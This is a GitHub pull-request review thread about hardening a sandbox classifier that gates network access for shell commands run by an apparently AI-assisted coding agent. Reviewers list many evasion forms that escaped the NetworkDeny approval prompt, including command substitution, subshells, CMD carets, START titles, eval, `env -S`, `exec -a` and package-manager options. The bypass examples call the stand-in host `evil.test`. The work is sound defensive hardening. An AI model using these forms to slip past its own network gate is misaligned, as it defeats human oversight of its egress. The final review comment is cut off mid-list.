rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@internal/sandbox/analyzer.go`:
- Around line 300-303: Update the argument scan in the analyzer logic to stop
processing words once the standalone `--` separator is encountered, so
subsequent pathspecs such as `--remote` are not classified as network options.
Preserve detection of `--remote` and `--remote=...` before the separator, and
add a regression case covering `git archive HEAD -- --remote`.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: c0ce84d3-2a63-4901-b4ef-1978ea27905e

📥 Commits

Reviewing files that changed from the base of the PR and between 8a7ffe6 and 6225826.

📒 Files selected for processing (6)
  • internal/sandbox/analyzer.go
  • internal/sandbox/analyzer_test.go
  • internal/sandbox/engine_test.go
  • internal/sandbox/risk.go
  • internal/sandbox/risk_hardening_test.go
  • internal/sandbox/safe_command.go
🚧 Files skipped from review as they are similar to previous changes (1)
  • internal/sandbox/risk.go

Comment thread internal/sandbox/analyzer.go

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P2] Respect -- when scanning git archive for --remote
    internal/sandbox/analyzer.go:299
    gitTargetsRemoteArchive walks every argument token and treats any --remote / --remote=… as a network archive, with no stop at the standalone -- end-of-options marker. After --, operands are pathspecs, not options, so git archive HEAD -- --remote (and the same shape with -C / -o) is a local archive of a tree entry named --remote, not a remote fetch. Both the parseable AST path (gitUsesNetwork) and the unparseable fallback (matchesUnparseableGitNetwork) call this helper, so the false positive hits proactive network prompts and turn network grants for a purely local command. This gap was introduced when this PR gated archive on --remote; it is not pre-existing drift. The same package already handles -- correctly for rm in hasRecursiveForce; mirror that pattern here and add a regression for git archive HEAD -- --remote expecting network: false. CodeRabbit's CHANGES_REQUESTED review on head 6225826 is still open on this point.

  • [P3] Align unparseable shell recursion depth with the AST path
    internal/sandbox/risk.go:74
    maxUnparseableShellDepth is 3 while maxAnalyzerDepth in analyzer.go is 4, despite the comment that the fallback "mirrors" the parseable limit. On a fourth nested sh -c / bash -c layer that is also unparseable, the AST path can still reach an inner curl / git push, but matchesUnparseableNetworkAt stops recursing one level earlier and drops the network category. Under NetworkDeny with shell permission already granted, that is the same fail-open shape the wrapper-prefix regression fixed in 6225826, but it requires heavy obfuscation and is unlikely in normal use. This mismatch is new in this PR's fallback code, not drift from base main. Either bump the fallback cap to 4 or document and test the intentional difference.

Follow-up (optional for #703; pre-existing or edge-case parity)

These are real classification gaps, but they are mostly outside the core git push fix or require obscure spellings. I would not block merge on them alone once the git archive -- issue above is fixed.

  • [P3] Recurse into --command payloads on launcher paths
    internal/sandbox/risk.go:152 and internal/sandbox/analyzer.go:488
    fallbackDashCPayload and dashCPayload only recognize -c, while shellDashCPayload in safe_command.go already accepts both -c and --command. An unparseable bash --command "git push origin main" && "unterminated never recurses into the payload, so classification can stay at unparseable_command without network after a prior shell approval. The -c-only limitation on the parseable AST path predates this PR; this branch copied it into the new fallback instead of sharing shellDashCPayload. Worth fixing if you touch launcher recursion, but it is parity drift rather than a new regression from the 6225826 wrapper fix.

  • [P3] Normalize drive-relative Windows executables on the fallback path
    internal/sandbox/risk.go:166
    executableTokenBase strips basename and suffixes but does not call windowsExecutablePathBasename, so drive-relative spellings such as C:git.exe normalize to c:git instead of git. The parseable path already classifies 'C:curl.exe' https://example.com as network via normalizeProgramToken. An unparseable Windows form like C:git.exe push origin main & rem ' can miss the network category on the fail-closed path while the AST path would catch it. This is an obscure Windows spelling gap on the fallback path introduced when this PR added executableTokenBase parity claims; the common git.exe / quoted-path forms you already test are fine.

Rechecked — prior review items look addressed on current head

The wrapper-prefix, curl.exe, newline-segment, and local-git archive regressions from the 8a7ffe6 review appear fixed in 6225826, with matching coverage in TestClassifyUnparseableNetworkBehindWrapperFailsClosed, TestEvaluatePromptsForUnparseableNetworkBehindWrapper, and TestClassifyUnparseableLocalGitArchiveStaysNonNetwork. Parseable -C / -c / --git-dir / git.exe / --attr-source forms and the git status push negatives also still look covered. Windows Smoke failed on internal/tools TestExecCommandForegroundServerReturnsSessionAndServesHTTP; this PR does not touch internal/tools, and internal/sandbox and internal/agent passed on that CI run.

Gating `git archive` on --remote scanned every token, with no stop at the
standalone `--`. After that separator the operands are pathspecs, so
`git archive HEAD -- --remote` archives a tree entry NAMED --remote out of the
local object store — and was classified as network, costing a proactive prompt
and a network grant on a purely local command. Both the AST path and the
unparseable fallback call the same helper, so both were wrong; the end-of-options
rule is the one hasRecursiveForce already applies to `rm -- -rf`.

Three parity gaps in the same code, each one a claim my own comments made:

The fallback's launcher recursion cap said it mirrored the parseable path while
being one level shallower, so a fourth nested layer that the analyzer still
reaches would drop the network category. It now IS maxAnalyzerDepth rather than
a copy of its value.

Both payload scanners knew only `-c`, though bash and zsh accept `--command` and
shellDashCPayload already handled both — so `bash --command 'git push …'` was
never recursed into on either path.

executableTokenBase claimed parity with normalizeProgramToken but skipped
windowsExecutablePathBasename, leaving a drive-relative `C:git.exe` as "c:git"
and unmatched on the fail-closed path while the AST path classified it.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@PierrunoYT

Copy link
Copy Markdown
Contributor Author

All four addressed in 0b56cd6 — the P2 and both P3s, plus both optional parity items, since three of the four were claims my own comments made.

[P2] -- ends the option scan. You and CodeRabbit are both right, and its repro script settles it: git archive HEAD -- --remote archives a tree entry named --remote from the local object store. gitTargetsRemoteArchive now stops at the separator, mirroring what hasRecursiveForce already does for rm -- -rf. Since both the AST path and the fallback call that helper, one fix covers both. Regressions added on both paths, including a positive git archive --remote=origin HEAD -- src so the stop does not swallow a real remote.

[P3] Recursion depth. Bumped, but by making it maxUnparseableShellDepth = maxAnalyzerDepth rather than writing 4 — the two drifted precisely because one was a copy of the other's value, and my comment claimed they mirrored while they did not.

On testing it: I could not honestly drive a four-layer sh -c chain through the fallback. That tokenizer is deliberately small and does not model nested escaped quotes, so a literal four-deep string tests the escaping rather than the depth limit — my first attempt failed for exactly that reason. So the depth relationship is pinned as a constants assertion with that reasoning written down, and a two-layer nested case covers that recursion happens at all. Happy to do it differently if you would rather see a behavioral test.

[P3, optional] --command payloads. Taken. Both dashCPayload and fallbackDashCPayload now accept -c and --command through a shared predicate, so bash --command 'git push …' is recursed into on both paths.

[P3, optional] Drive-relative Windows executables. Taken. executableTokenBase now goes through windowsExecutablePathBasename before the separator scan, so C:git.exe normalizes to git instead of c:git. My comment on that function asserted parity with normalizeProgramToken; it now has it.

Tests: 11 new cases across TestAnalyzeCommand, TestClassifyUnparseableNetworkBehindWrapperFailsClosed, and TestClassifyUnparseableLocalGitArchiveStaysNonNetwork, plus TestUnparseableShellDepthMatchesAnalyzerDepth. I reverted all four fixes at once and confirmed every new case fails, so none of them are passing by accident.

Validation: go build ./... plus GOOS=linux/GOOS=darwin, go vet ./..., go test ./..., git diff --check and gofmt -l clean.

Agreed the Windows Smoke failure is unrelated — TestExecCommandForegroundServerReturnsSessionAndServesHTTP is in internal/tools, which this diff does not touch.

@PierrunoYT
PierrunoYT requested a review from jatmn July 29, 2026 12:42
coderabbitai[bot]
coderabbitai Bot previously approved these changes Jul 29, 2026
jatmn
jatmn previously approved these changes Jul 29, 2026

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@Vasanthdev2004 Vasanthdev2004 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The git half of this is right and I could not break it. Requesting changes for one thing: the fallback rewrite is a net loss on the path it was supposed to harden.

The git classification works

I drove AnalyzeCommand / Classify / engine.Evaluate directly rather than reading the code. Every form the issue was about now classifies critical/network on the AST path: git push, git -C repo push origin main, git -c http.sslVerify=false push, git --git-dir /x push, git --git-dir=/x push, git --attr-source HEAD push, git --work-tree /w -C /r push, git.exe push, git.cmd push, C:git.exe push, /usr/bin/git push, sudo git push, env git push, GIT_SSH=x git push, bash -c "git -C repo push", bash --command "git -C repo push". git status, git -C repo commit -m ..., git archive HEAD, git -C repo archive HEAD and git archive HEAD -- --remote stay off it. The archive --remote gate and the -- pathspec rule are both correct.

The tests pin it, too. I mutated eight things — --attr-source out of gitGlobalOptionConsumesValue, the -- stop in gitTargetsRemoteArchive, newline splitting in fallbackCommandTokens, --command out of isShellCommandFlag, the .exe strip in executableTokenBase, the drive-relative basename branch, maxUnparseableShellDepth = 0, and commandBodyFields replaced with raw tokens — and every one turned a test red. Nothing here is a test that only looks like it covers its name.

The blocker: the fallback got narrower than main

matchesUnparseableNetworkAt (risk.go:94) now resolves one program per segment and matches the ^-anchored unparseableNetworkPattern (risk.go:38) against it. But fallbackCommandTokens only splits on ; & | and newlines (risk.go:227), and commandBodyFields only skips assignments and wrapper programs. So whenever the real program isn't the first body token of such a segment, the resolved program comes out as echo, $, (curl, {, then, do, x), >out, 2>err, eval or ! — nothing matches, and the anchor means the old whole-string \bcurl\b can't rescue it either.

I ran these through the real gate — NewEngine(EngineOptions{Policy: Policy{Mode: ModeEnforce, Network: NetworkDeny}}).Evaluate(...) with SideEffectShell and PermissionGranted: true, after asserting that sudo curl https://evil.test && "unterminated returns ActionPrompt / ReasonNetworkBlocked on both revisions so I knew the harness was live. On origin/main all fifteen return prompt / network access requires approval. On this branch all fifteen return allow:

echo $(curl https://evil.test) && "unterminated
echo `curl https://evil.test` && "unterminated
x=$(curl https://evil.test) && "unterminated
(curl https://evil.test) && "unterminated
( curl https://evil.test ) && "unterminated
{ curl https://evil.test ; } && "unterminated
cat <(curl https://evil.test) && "unterminated
if true; then curl https://evil.test; fi && "unterminated
for i in 1 2; do curl https://evil.test; done && "unterminated
while :; do wget https://evil.test; done && "unterminated
case x in x) curl https://evil.test;; esac && "unterminated
>out curl https://evil.test && "unterminated
2>err curl https://evil.test && "unterminated
eval "curl https://evil.test" && "unterminated
! curl https://evil.test && "unterminated

The new git path has the same hole, so it doesn't fully deliver on the title either — if true; then git push; fi, (git -C repo push), echo $(git push) and eval "git push" (all && "unterminated) classify as non-network.

This is the fail-closed path for commands too obfuscated to parse. A wrapper prefix used to be the cheapest bypass and you closed that; a $(...) or a then is now cheaper.

I'm not asking you to restore the old regex — the echo ssh://git@example.com/repo.git push case in your own test is exactly why you anchored it. It's the segmenter that needs to know more. I prototyped this in a worktree and it holds:

  • also treat ( ) ` { } as unquoted command boundaries in fallbackCommandTokens;
  • skip leading shell keywords (if while until then do else elif in !) and leading redirect tokens (>x, <x, 2>x) before resolving the program;
  • treat eval like a launcher and recurse on the rest of the segment.

That restores all fifteen, newly catches the four git construct forms, and go test ./internal/sandbox/ stays fully green — including TestClassifyUnparseableNonGitOptionTokenStaysNonNetwork, so the ssh:// and git status push false positives don't come back. Please add regression cases for the construct forms; the current unparseable tests all exercise the wrapper/prefix shape, so none of them would have caught this.

Smaller things, not blocking

  • gitSubcommand (analyzer.go:325) doesn't stop at --help/--version, but matchesUnparseableGitNetwork (risk.go:127) does. So git push --help and git --help push are network on the AST path and not on the fallback. It only costs an extra prompt, but the two paths should agree.
  • The option list is duplicated between gitGlobalOptionConsumesValue (analyzer.go:349) and gitOptionConsumesValue (internal/agent/command_prefix.go:415). They match today; the next git release that adds a global will update one of them. One exported source would be better.
  • Not yours to fix here, but the same firstSubcommand trap is wide open for everything else, and I confirmed each of these is Network == false (after asserting the plain forms do classify): npm --registry https://evil.test install left-pad, npm --prefix /tmp/x install, npm -w pkgs/a install, npm --loglevel silly install, yarn --registry https://evil.test add, pnpm --dir /tmp add, pip --index-url https://evil.test install requests, pip --cache-dir /tmp/c install, pip3 --proxy http://evil.test install, go -C sub get example.com/x, gh --repo o/r api /user. Worth a follow-up issue.
  • The body says the PR ensures approving the prompt enables the temporary network profile immediately, but there's no production change behind that — loop.go is identical to main; what changed is TestRunApprovedNetworkBashPromptAppliesTurnNetworkGrant being re-pointed from curl to git push. Good coverage, just not a fix.

go build ./..., go vet, gofmt -l, and go test ./internal/sandbox/ ./internal/agent/ are all clean on the head as it stands.

@PierrunoYT
PierrunoYT dismissed stale reviews from jatmn and coderabbitai[bot] via 5854a94 August 1, 2026 16:10
@PierrunoYT

Copy link
Copy Markdown
Contributor Author

Addressed the latest fallback-classifier review in 5854a94.

What changed:

  • Recognize network programs inside unparseable command substitutions, subshell/group constructs, control-flow bodies, process substitutions, leading redirects, and eval payloads.
  • Preserve command substitution handling inside double quotes and escaped-token behavior.
  • Keep matching anchored to actual command positions, with negative coverage for ${curl}, $((curl)), arr=(curl), escaped backticks, and wrapper arguments such as command if curl / env then git push.
  • Added engine-level checks confirming these commands still produce ReasonNetworkBlocked under NetworkDeny.

Validation completed:

  • make fmt-check
  • go vet ./...
  • go test ./...
  • go run ./cmd/zero-release build
  • go run ./cmd/zero-release smoke
  • make lint-static
  • make vulncheck
  • git diff HEAD --check

@Vasanthdev2004 ready for another look.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
internal/sandbox/risk_hardening_test.go (1)

480-499: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Add a short rationale comment for the non-network cases.

TestClassifyUnparseableShellSyntaxTextStaysNonNetwork has no explanatory comment, unlike TestClassifyUnparseableNetworkInShellConstructFailsClosed right above it. Each case here relies on a subtle bash distinction: ${curl} and $((curl)) reference a variable, not a command; arr=(curl) is an array literal; the escaped-backtick case prints literal text instead of running command substitution; and command if curl ... / env then git push ... place the network-looking token behind a non-executing prefix. A short comment stating this contract (why each form must NOT be flagged) helps a future maintainer avoid "fixing" one of these into a false positive.

📝 Suggested comment
+// TestClassifyUnparseableShellSyntaxTextStaysNonNetwork covers shell syntax
+// where "curl"/"git push" appear as inert text rather than an invoked
+// command: parameter/arithmetic expansion, array literals, backslash-escaped
+// backticks (no command substitution), and network-looking tokens placed as
+// plain arguments behind a non-executing prefix (command/env). These must
+// stay non-network so the fallback tokenizer does not over-flag benign text.
 func TestClassifyUnparseableShellSyntaxTextStaysNonNetwork(t *testing.T) {
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@internal/sandbox/risk_hardening_test.go` around lines 480 - 499, Add a
concise rationale comment immediately above the table in
TestClassifyUnparseableShellSyntaxTextStaysNonNetwork explaining that these
malformed forms contain non-executing variable, arithmetic, array,
escaped-backtick, or prefix contexts, so network-looking tokens must not receive
the network category.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@internal/sandbox/risk_hardening_test.go`:
- Around line 480-499: Add a concise rationale comment immediately above the
table in TestClassifyUnparseableShellSyntaxTextStaysNonNetwork explaining that
these malformed forms contain non-executing variable, arithmetic, array,
escaped-backtick, or prefix contexts, so network-looking tokens must not receive
the network category.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: a57647d8-c69f-4be8-b3f8-df8f84d4276a

📥 Commits

Reviewing files that changed from the base of the PR and between 0b56cd6 and 5854a94.

📒 Files selected for processing (3)
  • internal/sandbox/engine_test.go
  • internal/sandbox/risk.go
  • internal/sandbox/risk_hardening_test.go
🚧 Files skipped from review as they are similar to previous changes (2)
  • internal/sandbox/engine_test.go
  • internal/sandbox/risk.go

coderabbitai[bot]
coderabbitai Bot previously approved these changes Aug 1, 2026

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P1] Keep the backtick quote stack intact when scanning parentheses
    internal/sandbox/risk.go:325
    outerQuotes is currently one untyped stack for two different delimiters: backtick substitutions push their surrounding quote at lines 286–295, while every unquoted ) pops the same stack at lines 325–329. In echo \curl)` && "unterminated, the inner )consumes the frame that belongs to the backtick; the closing backtick then evaluatesouterQuotes[len(outerQuotes)-1]after the slice is empty and panics. The unmatched double quote makes the AST analyzer returnTooComplex`, so this is a request-triggerable crash in the fallback classifier, not merely an invalid command rejected by the shell.

    Do not use stack length alone to decide that ) closes an opened grouping/substitution. Represent the opener kind (for example, a frame with backtick versus paren), and only pop a parenthesis frame on ). The fallback should also be total over arbitrary input: add regression coverage for mismatched delimiters and ensure classification returns unparseable_command rather than panicking. A small fuzz/property test around fallbackCommandTokens that asserts no panic for arbitrary strings would prevent the same class of parser-state bug from recurring.

  • [P2] Recurse into CMD command payloads on the fallback path
    internal/sandbox/risk.go:94
    The new fallback resolves a single direct program, applies an anchored pattern to that program and its arguments, then only recursively inspects eval and shellPrograms (the POSIX sh/bash family). cmd/cmd.exe is neither a recognized launcher nor a wrapper, so cmd.exe /c curl https://evil.test & rem ' resolves to cmd and the payload is never visited. That text is valid CMD: rem ' is a comment, while the unmatched apostrophe intentionally makes the POSIX AST parser return TooComplex. The old whole-command fallback matched the embedded curl; the new classifier returns only unparseable_command.

    This bypasses the intended decision order. Engine.Evaluate prompts for NetworkDeny only when the risk includes network; otherwise an existing shell permission (or an active shell sandbox) reaches ActionAllow. On the Windows unelevated backend, where WFP network filtering is unavailable and the in-process approval gate is the network boundary, the command can therefore perform egress without the explicit network prompt.

    Treat command interpreters as launchers with syntax-specific payload extraction, rather than relying on the POSIX launcher list for all fallback input. At minimum, recognize normalized cmd/cmd.exe and recursively classify the remainder after /c or /k (including the common /d /c prefix); do the equivalent for the PowerShell command flags if that interpreter remains supported as shell input. Keep the recursion depth limit, and add classifier and engine tests using CMD-valid/POSIX-unparseable commands to assert both the network category and ReasonNetworkBlocked.

  • [P2] Preserve CMD conditional command groups in the fallback tokenizer
    internal/sandbox/risk.go:317
    fallbackCommandTokens identifies a grouping ( only when it is the first token of a segment (len(tokens) == 0). That assumption is not true for CMD conditionals: if 1==1 (curl https://evil.test) & rem ' is valid CMD, but is intentionally unparseable by the POSIX AST. The fallback first strips if, then commandBodyFields skips 1==1 as an assignment-like token, and the remaining (curl token is treated as the executable. The anchored network matcher never examines curl, so the command loses the network category and bypasses the same NetworkDeny decision described above. Base matched curl anywhere in this fallback path.

    Avoid inferring executable boundaries from only a flat token list once a command has entered a non-POSIX fallback. Either give CMD input a dedicated tokenizer that understands if conditions and parenthesized command blocks, or make the fallback conservative when it cannot establish a reliable program boundary—particularly after CMD control keywords. Add a Windows regression through Engine.Evaluate, not just Classify, for conditional groups and nested groups; it should prove that removing the network classification changes the test from ReasonNetworkBlocked to an incorrect allow.

  • [P3] Stop Git subcommand scanning at help/version requests
    internal/sandbox/analyzer.go:325
    gitSubcommand correctly consumes the value of -C, but it treats every other dash-prefixed token as skippable and continues searching for a verb. Thus parseable git -C repo --help push returns push, despite Git exiting after printing help; a local check of that command exits successfully without invoking a remote. The previous generic scan stopped at repo, so this PR newly turns the option-prefixed form from non-network into a NetworkDeny prompt. The unparseable Git path already has the correct opposite rule: matchesUnparseableGitNetwork stops at --help and --version, leaving the AST and fallback paths inconsistent.

    Make the Git option parser express terminal global options explicitly and share that parser (or its result) between the AST and fallback classifiers. On encountering --help or --version, stop subcommand discovery rather than skipping it; include variants with preceding value-taking globals and make parseable/fallback tests assert the same result. This also prevents future additions to one duplicated Git-option list from silently reintroducing path disagreement.

@PierrunoYT

Copy link
Copy Markdown
Contributor Author

Addressed the outstanding fallback-classifier review on current head cc8c905.

The prior head commit 5854a94 already covered Vasanthdev2004's reported POSIX-unparseable shell constructs ($(), backticks, subshell/grouping, control flow, redirects, eval, and Git variants) with classifier and NetworkDeny engine regressions. This follow-up also addresses the newer review findings:

  • keeps typed backtick/parenthesis delimiter frames so mismatched input cannot pop the wrong frame or panic;
  • recursively classifies cmd.exe /c//k and PowerShell/pwsh -Command/-c payloads;
  • recognizes executable CMD IF/nested groups and FOR ... DO (...) groups without treating FOR ... IN (...) data as commands;
  • stops parseable Git global-option scanning at terminal --help/--version, matching fallback behavior;
  • adds classifier, engine-level ReasonNetworkBlocked, mismatch, negative, and fuzz regressions. Engine cases explicitly assert they reached the unparseable fallback.

Validation completed on Go 1.26.5:

  • make fmt-check
  • go vet ./...
  • go test ./...
  • go test -race ./internal/sandbox ./internal/agent
  • go test ./internal/sandbox -run='^$' -fuzz='^FuzzFallbackCommandTokensDoesNotPanic$' -fuzztime=10s (98,011 executions)
  • go run ./cmd/zero-release build
  • go run ./cmd/zero-release smoke
  • make lint-static (0 issues)
  • make vulncheck (no vulnerabilities found)
  • git diff HEAD --check

@Vasanthdev2004, please re-review the current head and supersede the stale CHANGES_REQUESTED review from 0b56cd6 if the blocker is resolved. Your fifteen construct cases are now pinned by regressions and continue to classify as network through the real engine gate.

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P2] Preserve the network gate for CMD invocation syntax
    internal/sandbox/risk.go:94
    This matters on the supported Windows cmd.exe fallback when PowerShell is unavailable. A valid CMD command such as @curl https://evil.test & rem ' is rejected by the POSIX parser solely because CMD treats the trailing apostrophe as part of its rem comment; AnalyzeCommand therefore sets TooComplex and invokes this fallback. fallbackCommandTokens yields @curl, but executableTokenBase does not remove CMD's echo-suppression prefix, so the anchored matcher misses curl. The same loss occurs when a CMD construct invokes a later command: cmd.exe /c call curl https://evil.test & rem ' resolves call as the program, and if not 1==2 curl ... stops at not; start "" curl ... has the same shape. These commands receive no network category, so the engine skips its NetworkDeny prompt and never applies the network-enabled turn profile; the command is then launched under the deny profile and fails instead of receiving the approval flow this PR is intended to restore. The former whole-command fallback recognized these examples.

    Please address the root cause rather than adding individual spellings to executableTokenBase: the fallback is using a small POSIX-oriented tokenizer to infer execution positions in valid CMD source. Make fallback parsing runtime-aware and give CMD a shared resolver for echo prefixes, IF conditions, and command-launching builtins such as CALL/START (or conservatively retain fail-closed network detection for CMD payloads until that resolver exists). Add classifier and Engine.Evaluate regressions for the direct CMD forms above, asserting TooComplex and ReasonNetworkBlocked, so this cannot regress into a generic denied run again.

  • [P3] Treat all terminal Git global options as terminal
    internal/sandbox/analyzer.go:331
    The new Git-aware scanner stops at --help and --version, but it skips other terminal globals and continues to a later word. git -h push renders the local git-push help, git -v push prints Git's version, and git --html-path push prints the local documentation directory; none contacts a remote, but all now reach push and are classified as critical network. matchesUnparseableGitNetwork duplicates the same incomplete terminal-option rule, so parser-failing forms disagree with neither path. This is a regression from introducing the option scanner: before it, a value or path earlier in these forms stopped subcommand discovery.

    Please make Git global-option parsing one shared, explicit result rather than maintaining parallel skip lists in the AST and unparseable classifiers. In particular, distinguish a resolved network subcommand from a terminal global action and from an unknown/ordinary command; include the short help/version forms and the path-query globals (--html-path, --man-path, --info-path). Cover the complete result table on both paths, including a value-taking prefix such as git -C repo -h push, so a future option addition cannot reintroduce AST/fallback drift.

The unparseable fallback used POSIX rules to find the executable position in
text that is frequently valid CMD source — that is precisely how it reaches
this path, since cmd.exe's `rem` comment swallows an apostrophe the POSIX
parser then cannot close. `@curl ...`, `call curl ...`, `if not 1==2 curl ...`
and `start "" curl ...` each resolved to a token that is not the program
("@curl", "call", "not", "start"), so the network category was dropped and
Engine.Evaluate skipped its network prompt — the boundary itself on the Windows
unelevated backend, where WFP filtering is unavailable.

Each fallback segment is now resolved under both command languages. The CMD
resolver understands echo suppression, the CALL/START launchers (including
START's options and window title), IF conditions in every spelling CMD accepts,
and that only a FOR loop's DO body executes. A second resolution can only add
the network category, which is the direction this fail-closed path may err in.

Git global options are now read once, by parseGitInvocation, which reports a
resolved subcommand, a terminal global, or neither. Both classification paths
call it, so they can no longer disagree: while each kept its own terminal-option
list, `git -h push`, `git -v push` and `git --html-path push` printed locally
but were classified as critical network on the AST path.

Adds classifier and Engine.Evaluate regressions for the CMD forms, a shared
result table asserted on both git paths, and a fuzz target over the resolvers.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
@PierrunoYT

Copy link
Copy Markdown
Contributor Author

Pushed 4cccc786, addressing both findings from the 2026-08-01 20:10 review.

[P2] Preserve the network gate for CMD invocation syntax

Fixed at the root, not by adding spellings to executableTokenBase. The fallback now resolves each segment's executable position under both command languages, since the input that reaches this path is frequently valid CMD source (that is how it gets here — rem ' is a CMD comment the POSIX parser cannot close):

  • fallbackCommandBodies returns the POSIX resolution and, when it differs, the CMD one. A second resolution can only add the network category, which is the direction this fail-closed path is allowed to err in.
  • cmdCommandBodyFields is the shared CMD resolver: @ echo suppression, the CALL/START launchers, IF conditions, ELSE, and FOR's DO body. cmdStartPayload skips START's switches (including the value-taking /d, /node, /affinity) and its optional window title; cmdConditionPayload handles /i, NOT, errorlevel/exist/defined, the joined 1==1 and spaced %x% == y comparisons, and the EQU/NEQ/LSS/LEQ/GTR/GEQ operators. Unrecognized shapes return nothing rather than guessing, leaving the POSIX resolution as the only candidate.

All four of your examples now classify as TooComplex + network, plus the START/IF variants: TestClassifyUnparseableCMDInvocationFormsFailClosed (15 forms) and TestEngineClassifiesCMDInvocationFormsAsNetwork through Engine.Evaluate asserting ActionPrompt/ReasonNetworkBlocked. Mutation-checked — stubbing out the CMD resolver fails every one of those subtests.

The negatives are pinned too: for %i in (curl) do echo %i, start "curl https://evil.test" (title only, nothing runs), echo call curl … and rem start curl … stay non-network.

[P3] Treat all terminal Git global options as terminal

There is now one parser. parseGitInvocation returns a three-way result — gitCommandSubcommand, gitCommandTerminalGlobal, or gitCommandNone — with gitTerminalGlobalOptions covering -h, --help, -v, --version, --html-path, --man-path, --info-path. gitUsesNetwork consumes that result, and matchesUnparseableGitNetwork now delegates to gitUsesNetwork instead of re-reading the option list, so the parallel skip lists are gone and a future option cannot be taught to one path only.

TestGitGlobalOptionsResolveIdenticallyOnBothPaths asserts the complete table on the AST path and the fallback path in the same subtest, including the value-taking prefix git -C repo -h push, and TestEngineDoesNotPromptForLocalGitHelp covers the decision layer. Removing the short/path-query options from the map fails exactly those rows.

Also added FuzzFallbackNetworkResolutionDoesNotPanic over matchesUnparseableNetwork (the earlier fuzz target only covered the tokenizer) — the new resolvers index around keywords, conditions and option values, and this path has to be total over arbitrary input. 45s local run: clean, no new interesting crashes.

Verification: go build ./..., go vet ./..., go test ./internal/... all pass; gofmt -l clean on the changed files.

@jatmn jatmn left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I found issues that need to be addressed before this is ready.

Findings

  • [P1] Preserve the network gate for CMD-escaped executables
    internal/sandbox/risk.go:383
    The unparseable fallback resolves the executable without applying CMD escaping or recognizing %ComSpec%. For example, cu^rl https://evil.test & rem ' is valid CMD: CMD removes the caret and runs curl. The trailing quote is consumed by CMD's rem comment but makes the POSIX analyzer return TooComplex, so matchesUnparseableNetwork is the only network classifier. It passes cu^rl to executableTokenBase, which preserves ^; the anchored pattern consequently sees neither curl nor a network category, and Engine.Evaluate skips the NetworkDeny prompt. %ComSpec% /c curl ... & rem ' similarly does not recurse into its /c payload because %ComSpec% is not resolved as the CMD interpreter. This matters on the unelevated Windows backend, where network filtering is unavailable and the approval gate is the egress boundary. Address the root cause by giving the fallback an explicit runtime-aware CMD normalization/resolution stage (caret escapes, environment-backed command interpreters, launchers, and payload extraction) before its executable matcher; do not keep adding individual spellings to executableTokenBase. Add classifier and Engine.Evaluate regressions for direct and cmd /c caret escapes plus %ComSpec%.

  • [P1] Do not lose a one-word CMD START title
    internal/sandbox/risk.go:253
    CMD treats every first quoted argument to START as the window title, but fallbackCommandTokens drops the quotes and cmdStartPayload discards a title only if its resulting text has whitespace. Thus start "x" curl https://evil.test & rem ' is valid CMD and launches curl, while the fallback receives [start, x, curl, ...], decides x is the program, and emits no network category or prompt. The current tests cover an empty title and a title containing a space, which masks the lost quote provenance. Fix the root cause in the CMD parser rather than special-casing one-word titles: preserve whether each token was quoted, or conservatively evaluate both valid START interpretations when that information has been discarded. Add classifier and engine-gate coverage for one-word quoted titles, with and without cmd /c and START options.

  • [P1] Parse CMD's CMDEXTVERSION condition before resolving its command
    internal/sandbox/risk.go:276
    cmdConditionPayload does not recognize CMD's IF [NOT] CMDEXTVERSION <number> <command> form. In if cmdextversion 1 curl https://evil.test & rem ', the CMD rem comment again makes the otherwise valid CMD source unparseable to the POSIX analyzer. The fallback consumes only cmdextversion, returns [1, curl, ...], and therefore treats the version number as the program; the network-capable guarded command disappears before matching and the engine skips the network-approval gate. The underlying problem is a partial CMD grammar being used to make a security decision. Model each supported IF condition's operand shape before selecting the command, and fail closed for conditions the fallback cannot parse reliably rather than assuming one token is enough. Include CMDEXTVERSION, NOT, and engine-level ReasonNetworkBlocked regressions.

  • [P1] Recurse into wrapper arguments that contain the executed command
    internal/sandbox/safe_command.go:322
    The new fallback delegates wrapper handling to commandBodyFields, which correctly skips inert option values but does not distinguish options whose values themselves determine what runs. env -S 'curl https://evil.test' && "unterminated causes GNU env to split and execute its next argument, yet the fallback consumes that complete payload as the -S value and finds no program. exec -a harmless curl https://evil.test && "unterminated changes only argv[0], but because exec has no value-consuming-option rule the resolver treats harmless as the executable and misses curl. Both commands take the unparseable fallback due to the unmatched quote and now lose the network category that the base broad matcher supplied. Fix this at the wrapper-semantics layer: represent whether an option's value is inert, a nested command, or an argv decoration, and recursively classify nested command text while skipping only the correct decoration operands. Add focused fallback and engine tests for env -S/--split-string and exec -a.

  • [P2] Treat --list-cmds as a terminal Git global option
